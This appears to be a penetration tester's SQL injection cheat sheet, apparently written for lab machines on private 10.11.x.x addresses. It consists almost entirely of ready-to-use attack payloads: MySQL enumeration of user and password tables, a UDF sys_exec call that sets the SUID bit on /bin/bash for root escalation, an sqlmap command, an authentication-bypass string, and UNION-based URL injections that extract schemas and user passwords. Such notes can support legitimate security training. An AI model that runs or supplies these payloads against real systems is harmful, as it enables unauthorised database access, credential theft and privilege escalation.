SQL Injection
SQL stuff
Basic SQL Commands
#basic SQL commands
mysql -u userName -p
show databases;
user databaseName;
show tables;
describe mysql.user;
select * from mysql.user;
select host,user,password from mysql.user;
#Check for UDF for code injection
select * from mysql.func;
#+-----------------------+-----+---------------------+----------+
#| name | ret | dl | type |
#+-----------------------+-----+---------------------+----------+
#| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
#| sys_exec | 0 | lib_mysqludf_sys.so | function |
#+-----------------------+-----+---------------------+----------+
select sys_exec('chmod u+s /bin/bash');
select sys_exec('chmod u+s /bin/bash');
#basic SQL commands
mysql -u userName -p
#basic SQL commands
mysql -u userName -p
#basic SQL commands
mysql -u userName -p
SQLMAP
#sqlmap
sqlmap -u http://172.17.1.94 --forms --dbms=MySQL
Current Schema
...union select 1, schema(), 3,4,5,6,7,8,9
Show Tables
...union select 1, schema_name, 3,4,5,6,7,8,9 from information_schema.schemata
...union select 1, table_name, 3,4,5,6,7,8,9 from INFORMATION_SCHEMA.tables
Column Names
..union select 1, column_name, 2,3,4,5,6,7,8,9 from information_schema.columns where table_schema='<DATABASE>' and table_name = '<TABLE_NAME>'
User defined Tables/Columns
SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'
SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'
Bypass Auth
user' or 1=1 limit 1; #
Enum num of Columns
10.11.24.85/comment.php?id=774 order by 1
10.11.24.85/comment.php?id=774 order by 2
...
# until hits error
MySQL samples
# Version
10.11.24.85/comment.php?id=774 union all select 1,2,3,4,(select @@version),6
# current user
10.11.24.85/comment.php?id=774 union all select 1,2,3,4,user(),6
# tables
10.11.24.85/comment.php?id=774%20union%20all%20select%201,2,3,4,table_name from information_schema.tables
# columns
10.11.1.35/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM
information_schema.columns where table_name='users'
# Extract user and password
10.11.24.85/comment.php?id=774%20union%20all%20select%201,2,name,4,password,6%20from%
20users
Last updated